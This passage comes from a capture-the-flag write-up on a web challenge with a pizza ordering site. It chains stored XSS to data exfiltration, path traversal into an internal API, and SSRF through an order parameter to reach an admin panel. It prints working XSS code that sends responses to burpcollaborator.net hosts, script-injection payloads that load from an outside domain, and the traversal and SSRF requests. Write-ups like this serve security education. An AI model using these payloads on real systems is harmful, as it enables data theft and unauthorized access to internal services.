    post('http://bixky5wmalssq6ug240ssg2b82eu2j.burpcollaborator.net/', {exfil: data});
}, false);

This gives us the following HTML:

https://gist.github.com/ziot/0863e513844e926decb86965bca557e6

We can see there is a form for creating a voucher code:

                    <form method="post">
                        <div class="alert alert-info text-center">
                            <p>Create a voucher code for a customer refund</p>
                            <p>Enter the amount in pence/cents i.e $10.00 = 1000</p>
                        </div>
                        <div><label>Amount</label></div>
                        <div><input name="voucher_amount" class="form-control"></div>
                        <div style="margin-top:10px"><input type="submit" class="btn btn-success pull-right" value="Create Voucher"></div>
                    </form>

And finally, we write some XSS JavaScript code to create our voucher:

function getVoucher() {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", window.location.pathname, true);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.onreadystatechange = function() {
        if (this.readyState === XMLHttpRequest.DONE) {
            var data = btoa(xhr.responseText);
            var img = new Image();
            img.src = "http://p1rsosy2c18bj7nmdcwd636hs8yymn.burpcollaborator.net/exfil?"+data;
        }
    }
    xhr.send("voucher_amount=20000");
}

Now when we refresh the claim page, we see the following:

At this point it looks like we are finished with this path. We have a code, but it's not activated yet. The key takeaway from that page is that it says "management" team. That seems like an important term, especially knowing we have a wildcard scope that we haven't explored yet. We can guess that we probably need some sort of management portal to activate our code. From here, we set off to see what else we can find.

Going back to the beginning where it talked about a wildcard scope, we start to mess with the domain. I had no luck bruteforcing for subdomains or finding subdomains via recon/certs. So I decided to explore vhosts a bit. I noticed that when you load the website on port 80 and supply an arbitrary vhost, you get a default nginx page.

After trying some random keywords, I got a hit with management:

Management portal response:
https://gist.github.com/ziot/d83e60d7abd22acb585ea5ac2b3c9cbc

Unfortunately, we need a login to proceed:

            <form method="post">
                <div class="panel panel-default">
                    <div class="panel-heading">Login</div>
                    <div class="panel-body">
                        <div><label>Username:</label></div>
                        <div><input class="form-control" name="username"></div>
                        <div style="margin-top:7px"><label>Password:</label></div>
                        <div><input type="password" class="form-control" name="password"></div>
                        <div style="margin-top:11px"><input type="submit" class="btn btn-success pull-right" value="Login"> </div>
                    </div>
                </div>
            </form>

So now we made some progress, but we gotta go back to the main site. I decided this time to play with the toppings endpoint due to it having this in the response:

GET /toppings HTTP/1.1
Host: pizza.hacktivity.h1ctf.com

"methods":{"GET":{"Description":"Get available pizza toppings","arguments":[]}}}

Playing around with it, I finally found this:

GET /toppings/1 HTTP/1.1
Host: pizza.hacktivity.h1ctf.com

["Endpoint \"\/api\/toppings\/1\" not found"]

So we have a /api/ endpoint that we can't access, perhaps we need some sort of relative path traversal here. Trying basic payloads such as ../, %2e%2e%2f, etc all seem to fail though. After a bit of effort, I finally managed to get it to work:

GET /toppings/%2e%2e%2e%2e%2f%5c%2f HTTP/1.1

<[
  "Endpoint \"/api/\" not found"
]

So we need users, we try the obvious:

GET /toppings/%2e%2e%2e%2e%2f%5c%2fusers HTTP/1.1
Host: pizza.hacktivity.h1ctf.com

{
  "data": [
    {
      "id": 1,
      "username": "admin"
    }
  ],
  "methods": {
    "GET": {
      "Description": "List all admin/management users",
      "arguments": []
    },
    "POST": {
      "Description": "Create a new admin/management user",
      "arguments": {
        "email": "Email address of new user"
      }
    }
  }
}

But when we try to make a POST request to create a new user, we get the following error:

<head><title>403 Forbidden</title></head>

There was something I noticed earlier on but for simplicity in the walkthrough I didn't want to bring up until now. In the order flow, there is also a Server-Side Request Forgery. So going back to the order flow, the request looks like this:

POST /order HTTP/1.1
Host: pizza.hacktivity.h1ctf.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 797
Origin: https://pizza.hacktivity.h1ctf.com
Connection: close
Referer: https://pizza.hacktivity.h1ctf.com/
Cookie: session=e491ddbe676f7b4c7972b94d92c54cf8

toppings%5B%5D=1&toppings%5B%5D=3&toppings%5B%5D=5&test=test&address%5Bline_1%5D=test'%3B%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fziot2.xss.ht%3E%3C%2Fscript%3E&address%5Bline_2%5D=test'%3B%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fziot2.xss.ht%3E%3C%2Fscript%3E&address%5Bline_3%5D=test'%3B%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fziot2.xss.ht%3E%3C%2Fscript%3E&address%5Bcity%5D=test'%3B%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fziot2.xss.ht%3E%3C%2Fscript%3E&address%5Bstate%5D=test'%3B%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fziot2.xss.ht%3E%3C%2Fscript%3E&address%5Bzipcode%5D=test'%3B%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fziot2.xss.ht%3E%3C%2Fscript%3E&email=ziot%40wearehackerone.com&discount_code=&branch=1748

After fuzzing around the params a bit, I found the following error:

So we can see that the branch parameter is vulnerable to SSRF. After playing around with it a bit, we finally get a full response:

&branch=1748.branch.internal.pizza.hacktivity.h1ctf.com@xss.buer.haus/?%23
{"success":false,"screen_msg":"Invalid Response from remote server","error_msg":"Remote Response: <!DOCTYPE HTML PUBLIC \"-\/\/IETF\/\/DTD HTML 2.0\/\/EN\">\n<html><head>\n<title>302 Found<\/title>\n<\/head><body>\n<h1>Found<\/h1>\n<p>The document has moved <a href=\"https:\/\/xss.buer.haus\/?\">here<\/a>.<\/p>\n<hr>\n<address>Apache\/2.4.29 (Ubuntu) Server at xss.buer.haus Port 80<\/address>\n<\/body><\/html>\n"}

A key point in this is that it is making a POST request with the parameters you're sending. This can be seen as a sort of "micro API service" that is forward proxying your request. With that said, it does seem to only send specific parameters through, so you can't force anything new into the POST request data itself. HOWEVER, we know that creating a new user via the API only requires the email parameter which is also present in this post request.

The problems we have right here though are the following:

  • This SSRF does not follow 302 redirects
  • This is HTTP only, we can't hit the create user API because it is SSL/443.

After trying a bunch of different things, eventually we had some new progress. Sending a ?debug= param to the users API, we get new information:

GET /toppings/%2e%2e%2e%2e%2f%5c%2fusers?debug=true HTTP/1.1
Host: pizza.hacktivity.h1ctf.com

  "debug": {
    "server": "192.168.20.3",
    "port": "80",
    "status": "up"
  }

So now we sent that through the order SSRF with that server and api path.

Now we have credentials to log into the admin panel.

The portal looks like this:

Source:
https://gist.github.com/ziot/477360cca30e1796b81eb0856215f2b7

So we send a POST request for our voucher to activate it. Then we go through the order flow and put the voucher code in where the discount field is before completing the order.

Boom! And there's the flag.

Some small shouts:

  • Thanks to HackerOne and nahamsecfor putting on a great con
  • John Hammond for putting on another great CTF
  • Adam Langley for creating yet another super solid web challenge
  • xEHLE, smiegles, samerbby, lefevre, and a few others for following along and giving me advice when I kept getting stuck
]]>